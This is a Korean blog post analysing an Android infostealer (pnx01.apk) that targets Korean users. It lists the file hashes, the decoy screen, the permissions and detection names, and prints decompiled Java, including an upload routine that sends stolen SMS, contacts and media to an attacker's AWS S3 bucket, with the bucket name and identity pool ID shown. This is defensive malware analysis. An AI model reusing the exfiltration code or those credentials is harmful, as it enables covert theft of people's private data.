꿈을꾸는 파랑새

오늘은 한국인을 상대로 하는 안드로이드 악성코드 인 pnx01.apk(2024.9.23)에 대해 글을 적어 보겠습니다.
Amazon AWS S3 버킷을 사용하여 SMS, 연락처, 미디어 등 유출된 데이터를 저장하는 방식으로 한국인을 대상으로 하는 악성코드이며 Amazon AWS S3 버킷을 명령 및 제어(C&C) 서버로 활용하여 한국의 개인을 표적으로 악성코드입니다.
SMS,연락처 목록,이미지(사진),비디오를 포함하여 감염된 장치에서 민감한 정보를 유출
제가 사용한 악성코드 해쉬값은 다음과 같습니다.
파일명:pnx01.apk
사이즈:6.49 MB
MD5:fa073ca9ae9173bb5f0384471486cce2
SHA-1:1fc56a6d34f1a59a4987c3f8ff266f867e80d35c
SHA-256:3608f739c66c9ca18628fecded6c3843630118baaab80e11a2bacee428ef01b3
해당 악성코드 설치 후 악성코드 샘플은 앱 테마에 맞춰 한국어로 작성된 메시지와 함께 단일화된 것이 특징입니다.

안드로이드 악성코드 실행
안드로이드 악성코드 실행

일단 해당 악성코드를 설치하면 다음과 같은 화면을 볼 수가 있습니다.
서비스 점검으로 말미암은 일시중지 안내
웹사이트 운영사의 유지보수를 위한 시스템 점검으로 아래 시간 동안 결제 및 페이지 오류등 쇼핑몰 이용이 원활하지 않을 수 있습니다.
아래 해당 시간은 가급적 이용을 삼가해 주시기 바랍니다.
일시:2022년 10월24일(월)오전4시~6시(약 2시간)
예정된 시간 내에 서비스 점검을 완료하여 안정적인 서비스 제공으로 보답하겠습니다.
감사합니다.
라고 돼 있는 것이 특징

안드로이드 악성코드 권한

<uses-feature android:name="android.hardware.telephony" android:required="false"/>
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" android:maxSdkVersion="32"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES"/>
<uses-permission android:name="android.permission.READ_MEDIA_VIDEO"/>
<uses-permission android:name="android.permission.USE_BIOMETRIC"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>

악성코드 권한 설명

1.android.hardware.telephon:애플리케이션이 전화 기능을 사용하는지를 나타내는 기능 해당 기능을 사용하지 않아도 애플리케이션이 실행될 가능성 있음
2.android.permission.READ_PHONE_NUMBERS:사용자의 전화번호 및 SIM 카드 정보(예:IMEI 또는 ICCID)를 읽을 수 있는 권한
3.android.permission.READ_PHONE_STATE:전화 상태(예: 전화 통화 중, 네트워크 연결 상태 등)를 읽을 수 있는 권한
4.android.permission.READ_SMS:사용자의 SMS 메시지(문자 메세지)를 읽을 수 있는 권한
5.android.permission.READ_MEDIA_VISUAL_USER_SELECTED:사용자가 선택한 시각적 미디어(사진,동영상 등)에 접근할 수 있는 권한
6.android.permission.READ_EXTERNAL_STORAG:기기 외부 저장소(예:SD 카드)에 저장된 파일을 읽을 수 있는 권한
7.android.permission.READ_CONTACTS:사용자의 연락처 목록에 접근할 수 있는 권한
8.android.permission.WRITE_EXTERNAL_STORAGE:외부 저장소에 데이터를 쓸 수 있는 권한
9.android.permission.MANAGE_EXTERNAL_STORAGE: 외부 저장소 전체에 대해 읽기 및 쓰기 권한을 가지는 관리 권한 높은 수준의 권한으로, 민감한 데이터 접근에 주의가 필요
10.android.permission.READ_MEDIA_IMAGES:기기 내의 이미지 파일을 읽을 수 있는 권한
11.android.permission.READ_MEDIA_VIDEO:기기 내의 동영상 파일을 읽을 수 있는 권한
12.android.permission.USE_BIOMETRIC:생체 인식(예: 지문, 얼굴 인식)을 사용할 수 있는 권한
13.android.permission.ACCESS_NETWORK_STATE:네트워크 상태(예: Wi-Fi 또는 모바일 데이터 연결 여부)를 확인할 수 있는 권한
14.android.permission.INTERNET: 애플리케이션이 인터넷에 접근할 수 있는 권한
15.android.permission.MOUNT_UNMOUNT_FILESYSTEMS:파일 시스템을 마운트하거나 마운트 해제할 수 있는 권한
READ_SMS,READ_CONTACTS 및 READ_EXTERNAL_STORAGE를 포함한 최소한의 권한을 사용을 하는것이 특징

onRequestPermissionsResult
onRequestPermissionsResult

API 메서드 onRequestPermissionsResult

public static void requestPermissions(Activity activity, String[] strArr, int i) {
        PermissionCompatDelegate permissionCompatDelegate = sDelegate;
        if (permissionCompatDelegate == null || !permissionCompatDelegate.requestPermissions(activity, strArr, i)) {
            HashSet hashSet = new HashSet();
            for (int i2 = 0; i2 < strArr.length; i2++) {
                if (TextUtils.isEmpty(strArr[i2])) {
                    throw new IllegalArgumentException("Permission request for permissions " + Arrays.toString(strArr) + " must not contain null or empty values");
                }
                if (Build.VERSION.SDK_INT < 33 && TextUtils.equals(strArr[i2], "android.permission.POST_NOTIFICATIONS")) {
                    hashSet.add(Integer.valueOf(i2));
                }
            }
            int size = hashSet.size();
            String[] strArr2 = size > 0 ? new String[strArr.length - size] : strArr;
            if (size > 0) {
                if (size == strArr.length) {
                    return;
                }
                int i3 = 0;
                for (int i4 = 0; i4 < strArr.length; i4++) {
                    if (!hashSet.contains(Integer.valueOf(i4))) {
                        strArr2[i3] = strArr[i4];
                        i3++;
                    }
                }
            }
            if (activity instanceof RequestPermissionsRequestCodeValidator) {
                ((RequestPermissionsRequestCodeValidator) activity).validateRequestPermissionsRequestCode(i);
            }
            Api23Impl.requestPermissions(activity, strArr, i);
        }
    }

코드 설명

1.커스텀 권한 요청 시도: 만약 설정된 커스텀 델리게이트가 있으면 이를 통해 권한을 먼저 요청 
2. 빈 권한 검사: 요청할 권한에 빈 문자열이나 null 값이 있으면 예외 처리
3. 버전에 따른 권한 제거: 안드로이드 버전 33(API 13) 미만 에서는 POST_NOTIFICATIONS 권한을 제거
4. 필터링된 권한 배열 생성: 필요 없는 권한을 제거하고 남은 권한만 새로운 배열
5.권한 요청 수행: 권한 요청 전에 요청 코드가 올바른지 검증하고 최종 권한 요청을 실행

TxTManager 데이터 저장
TxTManager 데이터 저장

TxTManager 데이터 저장

public static String readFromXML(String str) {
        StringBuilder sb = new StringBuilder();
        File file = new File(str);
        if (file.exists()) {
            try {
                BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new FileInputStream(file)));
                while (true) {
                    String readLine = bufferedReader.readLine();
                    if (readLine == null) {
                        break;
                    }
                    sb.append(readLine);
                }
                bufferedReader.close();
            } catch (FileNotFoundException e) {
                e.printStackTrace();
                return null;
            } catch (IOException e2) {
                e2.printStackTrace();
                return null;
            }
        }
        return sb.toString();
    }

코드 설명

TxTManager 라는 클래스에서 파일에 데이터를 저장하는 역할을 하는 writeToXML() 메서드를 정의.
함수 이름은 XML을 언급하지만 실제로 .json 파일 에 문자열을 저장
public static File writeToXML(Context context, String str, String str2) {
    // 1. 저장할 파일 생성 (파일 경로: 앱 내부 저장소)
    File file = new File(context.getApplicationContext().getFilesDir().getAbsolutePath() 
                         + File.separator + str + ".json");
    try {
        // 2. 파일 생성
        file.createNewFile();

        // 3. 파일에 쓰기 위한 BufferedWriter 설정
        BufferedWriter bufferedWriter = new BufferedWriter(
            new OutputStreamWriter(new FileOutputStream(file))
        );

        // 4. 파일에 문자열 쓰기
        bufferedWriter.write(str2);

        // 5. BufferedWriter 닫기 (자원 해제)
        bufferedWriter.close();

        // 6. 파일 객체 반환
        return file;
    } catch (IOException e) {
        // 7. 예외 처리: 오류가 발생하면 스택 추적 출력 후 파일 반환
        e.printStackTrace();
        return file;
    }
}
주요 동작 요약
1.파일 생성:앱의 내부 저장소 경로에 str(.)json 파일을 생성
2.데이터 쓰기:BufferedWriter 를 사용해 str2 내용을 파일에 작성
3. 예외 처리: IOException*발생 시 오류 로그를 출력
4. 파일 반환: 파일 작성이 완료되고 해당 File 객체를 반환

파일 업로드 시작

파일 업로드 시작
파일 업로드 시작

/* loaded from: classes2.dex */
public class UploadUtil {
    private static UploadStrategy sStrategy;

    public static void startUpload(String str, CommonCallback<UploadStrategy> commonCallback) {
        AwsUploadImpl awsUploadImpl = new AwsUploadImpl("ap-northeast-2", "ap-northeast-2:8d0adab6-9339-4b3e-919d-881c05a6c932", "phone-books", str);
        sStrategy = awsUploadImpl;
        if (commonCallback != null) {
            commonCallback.callback(awsUploadImpl);
        }
    }

코드 설명

코드는 UploadUtil 이라는 클래스에서 파일 업로드를 시작 하는 기능을 제공
해당 클래스는 AWS(아마존 웹 서비스) 업로드 를 처리하고 특정 업로드(UploadStrategy) 객체를 사용해 파일을 업로드
코드 흐름
/* loaded from: classes2.dex */
public class UploadUtil {
    // 업로드 전략 객체를 저장하는 정적 변수
    private static UploadStrategy sStrategy;

    // 업로드를 시작하는 메서드
    public static void startUpload(String str, CommonCallback<UploadStrategy> commonCallback) {
        // 1. AWS 업로드 구현 객체 생성
        AwsUploadImpl awsUploadImpl = new AwsUploadImpl(
            "ap-northeast-2",                                   // AWS 리전
            "ap-northeast-2:8d0adab6-9339-4b3e-(9)19(d)-881c05a6c932", // 인증 ID 또는 사용자 풀 ID
            "phone(-)books",                                       // 업로드 대상 버킷 이름
            str                                                  // 업로드할 데이터 또는 파일 경로
        );

        // 2. 업로드 전략으로 AWS 업로드 구현체 설정
        sStrategy = awsUploadImpl;

        // 3. 콜백이 존재하면, 콜백을 통해 업로드 전략 객체 반환
        if (commonCallback != null) {
            commonCallback.callback(awsUploadImpl);
        }
    }
}
1.AWS 업로드 객체 생성:  
AwsUploadImpl:클래스의 객체를 생성
리전:ap-northeast-2(서울)  
사용자 ID:ap-northeast-2:8d0adab(6)-93(3)9-4b3e-919d-881c05a6c932
버킷 이름:phone-books  
업로드할 파일/데이터:메서드 파라미터로 전달된 str
2.업로드 전략 설정:정적 변수 sStrategy 에 생성한 AwsUploadImpl 객체를 저장
3.콜백 실행: 만약 CommonCallback 객체가 전달되며 해당 콜백을 호출하여 생성한 업로드 객체를 전달
Google Play Store 또는 iOS App Store와 같은 공식 앱 스토어에서만 앱 다운로드
Android 기기(안드로이드)에서 Google Play Protect가 활성화되어 있는지 확인
기본적으로 AV-TEST 에서 검증된 백신 앱 사용을 하는 것을 추천
탐지하는 보안 업체
AhnLab-V3:Trojan/Android.Infostealer.1251397
Avira (no cloud):ANDROID/Spy.Agent.ocnjv
BitDefenderFalx:Android.Trojan.SpyAgent.OX
CTX:Apk.trojan.awspy
Cynet:Malicious (score: 99)
DrWeb:Android.Spy.1265.origin
ESET-NOD32:A Variant Of Android/Spy.AwSpy.A
Fortinet:Android/AwSpy.A!tr.spy
Google:Detected
Ikarus:Trojan-Spy.AndroidOS.Awspy
K7GW:Spyware ( 005badca1 )
Lionic:Trojan.AndroidOS.AwSpy.C!c
Sophos:Andr/Spy-BJH
Symantec Mobile Insight:AppRisk:Generisk
Trellix (ENS):Artemis!FA073CA9AE91
Trustlook:Android.Malware.Spyware
Varist:ABSpyware.GMWP-
WithSecure:Malware.ANDROID/Spy.Agent.ocnjv
기본적으로 신뢰할 수 있는 보안 앱을 사용을 하는 것을 매우 권장

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band